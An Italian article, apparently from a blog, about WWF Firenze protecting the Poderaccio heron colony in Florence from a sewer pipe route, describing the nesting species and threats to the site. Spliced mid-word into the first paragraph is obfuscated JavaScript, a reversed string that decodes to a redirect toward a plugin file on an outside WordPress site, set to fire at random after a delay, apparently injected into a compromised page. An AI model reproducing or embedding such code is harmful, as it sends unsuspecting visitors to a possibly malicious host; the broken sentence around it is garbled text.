Il tesoro del Poderaccio

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Ancora una volta il WWF Firenze interviene con successo per salvare un tesoro naturalistico che la nostra città, fra le poche in Europa, possiede: sto parl (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando della garzaia del Poderaccio che stavolta correva il rischio di essere distrutta dal passaggio di una nuova tubatura fognaria.
Pericolo che è stato sventato anche grazie alla sensibilità dimostrata dai tecnici di Publiacqua che, dopo aver ascoltato le ragioni del WWF in vari incontri, hanno deciso di modificare il progetto in modo che prevedesse sia la deviazione del percorso del tubo all’esterno della garzaia, sia che i lavori necessari vengano effettuati senza disturbare gli uccelli in essa presenti.
Ma a questo punto molti di voi si chiederanno: cos’è la “garzaia del Poderaccio”?

Infatti ben pochi fiorentini sanno che proprio tra le case della loro città, nell’area dell’Argingrosso, è presente uno dei pochi siti di nidificazione (una quindicina in tutta la Toscana) di alcune specie di aironi come nitticore, garzette e le rare sgarze ciuffetto e gli altrettanto poco comuni aironi guardiabuoi.

Questi uccelli, che fortunatamente, anche grazie alla creazione di varie aree protette, stanno tornando ad essere presenti lungo i nostri corsi d’acqua ed aree umide, sono un po’ “schizzinosi” per quanto riguarda i luoghi dove fare il nido e riprodursi: infatti hanno bisogno di zone ricche di cibo (pesci, anfibi, molluschi) ma soprattutto di un bosco allagato formato da alberi robusti e fitti dove poter intrecciare i loro grandi nidi.
Tutte queste felici condizioni gli aironi le hanno trovate al Poderaccio, in una vecchia cava di ghiaia allagata di appena un ettaro e mezzo che, abbandonata, ha permesso la crescita di un boschetto di salici nonché di un canneto.

Purtroppo però la garzaia in questione si trova anche circondata da edifici, strade (vicino c’è il viadotto dell’Indiano), orti e discariche abusive e, soprattutto, del campo nomadi.
Tutto ciò fa sì che questa colonia di aironi corra ogni giorno pericoli di ogni tipo, facilitati anzi originati dal fatto che pochi sanno della sua esistenza. Così accade che spesso gli enti pubblici (Comune, Quartiere, ecc.) fanno scelte urbanistiche che mettono a rischio la sopravvivenza della garzaia, nonostante tali ambienti siano protetti da convenzioni e trattati internazionali. Era appunto il caso del tubo fognario che vi ho descritto.
Per fortuna la garzaia del Poderaccio ha come angelo custode il WWF Firenze…

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